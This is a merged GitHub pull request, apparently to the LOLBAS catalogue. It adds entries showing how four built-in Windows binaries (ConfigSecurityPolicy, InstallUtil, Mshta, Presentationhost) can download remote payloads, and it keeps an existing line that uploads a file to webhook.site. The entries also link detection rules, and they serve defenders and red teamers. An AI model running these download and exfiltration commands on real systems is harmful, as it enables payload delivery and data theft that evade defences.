Edit existing binaries with download functionality #239

New issue

Merged

wietze merged 10 commits into `LOLBAS-Project:master` from `C-h4ck-0:Edit-existing-binaries-with-Download-functionality` on Oct 4, 2022

Conversation 1 Commits 10 Checks 0 Files changed 4 +41 −8

Changes from **all commits** File filter Conversations

Filter changed files

- yml/OSBinaries
  - ConfigSecurityPolicy.yml
  - Installutil.yml
  - Mshta.yml
  - Presentationhost.yml

12 yml/OSBinaries/ConfigSecurityPolicy.yml

```
@@ -1,7 +1,7 @@
  ---
  Name: ConfigSecurityPolicy.exe
  Description: Binary part of Windows Defender. Used to manage settings in Windows Defender. you can configure different pilot collections for each of the co-management workloads. Being able to use different pilot collections allows you to take a more granular approach when shifting workloads.
- Author: 'Ialle Teixeira'
+ Author: Ialle Teixeira
  Created: 2020-09-04
  Commands:
    - Command: ConfigSecurityPolicy.exe C:\\Windows\\System32\\calc.exe https://webhook.site/xxxxxxxxx?encodedfile
@@ -11,7 +11,15 @@ Commands:
      Privileges: User
      MitreID: T1567
      OperatingSystem: Windows 10
+   - Command: ConfigSecurityPolicy.exe https://example.com/payload
+     Description: It will download a remote payload and place it in the cache folder (for example - %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE)
+     Usecase: Downloads payload from remote server
+     Category: Download
+     Privileges: User
+     MitreID: T1105
+     OperatingSystem: Windows 10, Windows 11
  Full_Path:
+   - Path: C:\Program Files\Windows Defender\ConfigSecurityPolicy.exe
    - Path: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\ConfigSecurityPolicy.exe
  Code_Sample:
    - Code:
@@ -29,3 +37,5 @@ Resources:
  Acknowledgement:
    - Person: Ialle Teixeira
      Handle: '@NtSetDefault'
+   - Person: Nir Chako (Pentera)
+     Handle: '@C_h4ck_0'
```

13 yml/OSBinaries/Installutil.yml

```
@@ -1,7 +1,7 @@
  ---
  Name: Installutil.exe
  Description: The Installer tool is a command-line utility that allows you to install and uninstall server resources by executing the installer components in specified assemblies
- Author: 'Oddvar Moe'
+ Author: Oddvar Moe
```

```diff
 Created: 2018-05-25
 Commands:
   - Command: InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll
@@ -18,13 +18,18 @@ Commands:
     Privileges: User
     MitreID: T1218.004
     OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
+  - Command: InstallUtil.exe https://example.com/payload
+    Description: It will download a remote payload and place it in the cache folder (for example - %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE)
+    Usecase: Downloads payload from remote server
+    Category: Download
+    Privileges: User
+    MitreID: T1105
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
 Full_Path:
   - Path: C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe
   - Path: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\InstallUtil.exe
   - Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
   - Path: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
-Code_Sample:
-  - Code:
 Detection:
   - Sigma: https://github.com/SigmaHQ/sigma/blob/a04fbe2a99f1dcbbfeb0ee4957ae4b06b0866254/rules/windows/process_creation/win_possible_applocker_bypass.yml
   - Elastic: https://github.com/elastic/detection-rules/blob/cc241c0b5ec590d76cb88ec638d3cc37f68b5d50/rules/windows/defense_evasion_installutil_beacon.toml
@@ -39,3 +44,5 @@ Resources:
 Acknowledgement:
   - Person: Casey Smith
     Handle: '@subtee'
+  - Person: Nir Chako (Pentera)
+    Handle: '@C_h4ck_0'
```

11 ▇▇▇▇ yml/OSBinaries/Mshta.yml

```diff
@@ -1,7 +1,7 @@
 ---
 Name: Mshta.exe
 Description: Used by Windows to execute html applications. (.hta)
-Author: 'Oddvar Moe'
+Author: Oddvar Moe
 Created: 2018-05-25
 Commands:
   - Command: mshta.exe evilfile.hta
@@ -32,6 +32,13 @@ Commands:
     Privileges: User
     MitreID: T1218.005
     OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10 (Does not work on 1903 and newer)
+  - Command: mshta.exe https://example.com/payload
+    Description: It will download a remote payload and place it in the cache folder (for example - %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE)
+    Usecase: Downloads payload from remote server
+    Category: Download
+    Privileges: User
+    MitreID: T1105
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
 Full_Path:
   - Path: C:\Windows\System32\mshta.exe
   - Path: C:\Windows\SysWOW64\mshta.exe
@@ -69,3 +76,5 @@ Acknowledgement:
     Handle: '@subtee'
   - Person: Oddvar Moe
     Handle: '@oddvarmoe'
+  - Person: Nir Chako (Pentera)
+    Handle: '@C_h4ck_0'
```

13 yml/OSBinaries/Presentationhost.yml

```
@@ -1,7 +1,7 @@
 ---
 Name: Presentationhost.exe
 Description: File is used for executing Browser applications
-Author: 'Oddvar Moe'
+Author: Oddvar Moe
 Created: 2018-05-25
 Commands:
   - Command: Presentationhost.exe C:\temp\Evil.xbap
@@ -11,11 +11,16 @@ Commands:
     Privileges: User
     MitreID: T1218
     OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
+  - Command: Presentationhost.exe https://example.com/payload
+    Description: It will download a remote payload and place it in the cache folder (for example - %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE)
+    Usecase: Downloads payload from remote server
+    Category: Download
+    Privileges: User
+    MitreID: T1105
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
 Full_Path:
   - Path: C:\Windows\System32\Presentationhost.exe
   - Path: C:\Windows\SysWOW64\Presentationhost.exe
-Code_Sample:
-  - Code:
 Detection:
   - Sigma: https://github.com/SigmaHQ/sigma/blob/a38c0218765a89f5d18eadd49639c72a5d25d944/rules/windows/process_creation/win_susp_presentationhost_execution.yml
   - IOC: Execution of .xbap files may not be common on production workstations
@@ -25,3 +30,5 @@ Resources:
 Acknowledgement:
   - Person: Casey Smith
     Handle: '@subtee'
+  - Person: Nir Chako (Pentera)
+    Handle: '@C_h4ck_0'
```